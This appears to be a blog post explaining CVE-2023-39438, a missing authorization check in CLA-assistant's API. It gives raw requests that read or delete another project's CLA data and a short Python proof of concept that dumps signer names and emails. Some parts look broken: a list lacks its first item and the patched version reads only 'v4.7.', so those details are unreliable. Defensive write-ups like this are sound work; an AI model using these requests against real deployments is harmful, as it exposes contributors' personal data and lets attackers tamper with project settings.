On July 24, 2023, a security vulnerability was disclosed in CLA-assistant, an open-source tool for managing Contributor License Agreements (CLAs) on GitHub repositories. This vulnerability, tracked as CVE-2023-39438, is due to a missing authorization check in its API layer. This post is a comprehensive, easy-to-understand breakdown of what CVE-2023-39438 is, how it can be exploited, and what sensitive data or operations are at risk.

Let’s walk through the details, with code snippets and reference links, to understand the practical impact of this bug.

What is CVE-2023-39438?

> CVE-2023-39438: A missing authorization check in the CLA-assistant API allows any arbitrary authenticated user to access or manipulate CLA information for any repository or organization.

Read private CLA data (including the list of signers and custom form fields).

- Update or delete the CLA-configuration of any repo/organization.

The Root Cause: Missing Authorization Check

CLA-assistant’s API does not properly verify that the user has permission for the specific operations. It only checks if the user is authenticated—not whether they should have access to a particular resource.

Let’s illustrate this with a simplified example.

Example Vulnerable API Endpoint (Pseudocode)

// routes/cla.js (Simplified)
app.post('/api/cla/config/:repo', authenticate, async (req, res) => {
    // No check if req.user owns :repo
    await updateCLAConfig(req.params.repo, req.body);
    res.status(200).json({ success: true });
});

Problem: As long as you’re *any* authenticated user, you can call this endpoint to change the CLA configuration for *any* repository—regardless of your authorization.

- Example of an HTTP request to leak CLA details

GET /api/cla/signatures/:repo
Authorization: Bearer <valid_auth_token>

Response

{
  "signatures": [
    {
      "name": "Alice Example",
      "email": "alice@email.com",
      "customField": "Some Value",
      ...
    },
    ...
  ]
}

2. Update or Delete CLA Configurations

- Change the requirements of a repo’s CLA — e.g., add/remove required custom fields, change signatory criteria.

Or delete the CLA configuration entirely, forcing maintainers to reconfigure.

DELETE /api/cla/config/:repo
Authorization: Bearer <valid_auth_token>

Result

{ "success": true, "message": "CLA config deleted." }

Building a Simple Proof of Concept (POC) Exploit

Below is a snippet that exploits the GET endpoint to dump all CLA signers for a victim repository, using nothing but a valid CLA-assistant logged-in token.

import requests

BASE_URL = "https://your-cla-assistant-instance/";
API_PATH = "api/cla/signatures/"
REPO = "victim-org/victim-repo"

# Replace with an actual JWT from any logged-in user
AUTH_TOKEN = "YOUR_JWT_TOKEN"

headers = {
    "Authorization": f"Bearer {AUTH_TOKEN}"
}

r = requests.get(f"{BASE_URL}{API_PATH}{REPO}", headers=headers)
print("Status:", r.status_code)
print(r.json())  # Dump all signers + CLA fields

Reference & Fix

- Original Advisory: GitHub Security Advisory GHSA-xf7c-2999-3v7q
- CVE Entry: CVE-2023-39438 on NVD
- Upstream Fix PR: #1088 - Add proper authorization check
- Changelog: v4.7. release

Patched Version

Upgrade to CLA-assistant v4.7. or later, where checks have been added to ensure only authorized users/admins can perform sensitive operations.

Conclusion

CVE-2023-39438 is a serious logic flaw that gives any authenticated user unintended, broad access to sensitive CLA data and control over protected configuration. It is an easy vulnerability to exploit and could have severe consequences for any large open-source project using CLA-assistant unchecked. If your organization is using CLA-assistant, ensure your deployment is up to date and verify your access controls are in place.

For the developer crowd: Always combine authentication with robust authorization checks on each sensitive operation. Authentication alone isn’t enough.

Timeline

Published on: 08/15/2023 17:15:00 UTC
Last modified on: 08/22/2023 17:32:00 UTC